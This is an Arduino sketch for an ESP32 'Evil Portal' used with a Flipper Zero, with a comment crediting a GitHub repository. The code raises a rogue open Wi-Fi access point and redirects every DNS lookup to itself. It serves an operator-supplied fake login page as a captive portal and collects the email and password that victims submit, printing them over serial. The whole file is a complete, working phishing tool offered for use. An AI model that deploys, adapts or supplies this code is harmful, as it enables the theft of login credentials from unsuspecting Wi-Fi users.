EvilPortal.ino 5.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200
  1. // From: https://raw.githubusercontent.com/bigbrodude6119/flipper-zero-evil-portal/main/esp32/EvilPortal/EvilPortal.ino
  2. #include "ESPAsyncWebServer.h"
  3. #include <AsyncTCP.h>
  4. #include <DNSServer.h>
  5. #include <WiFi.h>
  6. #define MAX_HTML_SIZE 20000
  7. #define B_PIN 4
  8. #define G_PIN 5
  9. #define R_PIN 6
  10. #define WAITING 0
  11. #define GOOD 1
  12. #define BAD 2
  13. #define SET_HTML_CMD "sethtml="
  14. #define SET_AP_CMD "setap="
  15. #define RESET_CMD "reset"
  16. #define START_CMD "start"
  17. #define ACK_CMD "ack"
  18. // GLOBALS
  19. DNSServer dnsServer;
  20. AsyncWebServer evilportal_server(80);
  21. bool runServer = false;
  22. String user_name;
  23. String password;
  24. bool name_received = false;
  25. bool password_received = false;
  26. char apName[30] = "";
  27. char index_html[MAX_HTML_SIZE] = "TEST";
  28. // RESET
  29. void (*resetFunction)(void) = 0;
  30. // AP FUNCTIONS
  31. class CaptiveRequestHandler : public AsyncWebHandler {
  32. public:
  33. CaptiveRequestHandler() {}
  34. virtual ~CaptiveRequestHandler() {}
  35. bool canHandle(AsyncWebServerRequest *request) { return true; }
  36. void handleRequest(AsyncWebServerRequest *request) {
  37. request->send_P(200, "text/html", index_html);
  38. }
  39. };
  40. void setLed(int i) {
  41. /*if (i == WAITING) {
  42. digitalWrite(B_PIN, LOW);
  43. digitalWrite(G_PIN, HIGH);
  44. digitalWrite(R_PIN, HIGH);
  45. } else if (i == GOOD) {
  46. digitalWrite(B_PIN, HIGH);
  47. digitalWrite(G_PIN, LOW);
  48. digitalWrite(R_PIN, HIGH);
  49. } else {
  50. digitalWrite(B_PIN, HIGH);
  51. digitalWrite(G_PIN, HIGH);
  52. digitalWrite(R_PIN, LOW);
  53. }*/
  54. }
  55. void setupServer() {
  56. evilportal_server.on("/", HTTP_GET, [](AsyncWebServerRequest *request) {
  57. request->send_P(200, "text/html", index_html);
  58. Serial.println("client connected");
  59. });
  60. evilportal_server.on("/get", HTTP_GET, [](AsyncWebServerRequest *request) {
  61. String inputMessage;
  62. String inputParam;
  63. if (request->hasParam("email")) {
  64. inputMessage = request->getParam("email")->value();
  65. inputParam = "email";
  66. user_name = inputMessage;
  67. name_received = true;
  68. }
  69. if (request->hasParam("password")) {
  70. inputMessage = request->getParam("password")->value();
  71. inputParam = "password";
  72. password = inputMessage;
  73. password_received = true;
  74. }
  75. request->send(
  76. 200, "text/html",
  77. "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
  78. });
  79. Serial.println("web server up");
  80. }
  81. void startAP() {
  82. Serial.print("starting ap ");
  83. Serial.println(apName);
  84. WiFi.mode(WIFI_AP);
  85. WiFi.softAP(apName);
  86. Serial.print("ap ip address: ");
  87. Serial.println(WiFi.softAPIP());
  88. setupServer();
  89. dnsServer.start(53, "*", WiFi.softAPIP());
  90. evilportal_server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
  91. evilportal_server.begin();
  92. }
  93. bool checkForCommand(char *command) {
  94. bool received = false;
  95. if (Serial.available() > 0) {
  96. String flipperMessage = Serial.readString();
  97. const char *serialMessage = flipperMessage.c_str();
  98. int compare = strncmp(serialMessage, command, strlen(command));
  99. if (compare == 0) {
  100. received = true;
  101. }
  102. }
  103. return received;
  104. }
  105. void getInitInput() {
  106. // wait for html
  107. Serial.println("Waiting for HTML");
  108. bool has_ap = false;
  109. bool has_html = false;
  110. while (!has_html || !has_ap) {
  111. if (Serial.available() > 0) {
  112. String flipperMessage = Serial.readString();
  113. const char *serialMessage = flipperMessage.c_str();
  114. if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) {
  115. serialMessage += strlen(SET_HTML_CMD);
  116. strncpy(index_html, serialMessage, strlen(serialMessage) - 1);
  117. has_html = true;
  118. Serial.println("html set");
  119. } else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) ==
  120. 0) {
  121. serialMessage += strlen(SET_AP_CMD);
  122. strncpy(apName, serialMessage, strlen(serialMessage) - 1);
  123. has_ap = true;
  124. Serial.println("ap set");
  125. } else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) {
  126. resetFunction();
  127. }
  128. }
  129. }
  130. Serial.println("all set");
  131. }
  132. void startPortal() {
  133. // wait for flipper input to get config index
  134. startAP();
  135. runServer = true;
  136. }
  137. // MAIN FUNCTIONS
  138. void evilportal_setup() {
  139. // init LED pins
  140. /*pinMode(B_PIN, OUTPUT);
  141. pinMode(G_PIN, OUTPUT);
  142. pinMode(R_PIN, OUTPUT);*/
  143. setLed(WAITING);
  144. //Serial.begin(115200);
  145. // wait for init flipper input
  146. getInitInput();
  147. setLed(GOOD);
  148. startPortal();
  149. }
  150. void evilportal_loop() {
  151. dnsServer.processNextRequest();
  152. if (name_received && password_received) {
  153. name_received = false;
  154. password_received = false;
  155. String logValue1 =
  156. "u: " + user_name;
  157. String logValue2 = "p: " + password;
  158. Serial.println(logValue1);
  159. Serial.println(logValue2);
  160. }
  161. if(checkForCommand(RESET_CMD)) {
  162. Serial.println("reseting");
  163. resetFunction();
  164. }
  165. }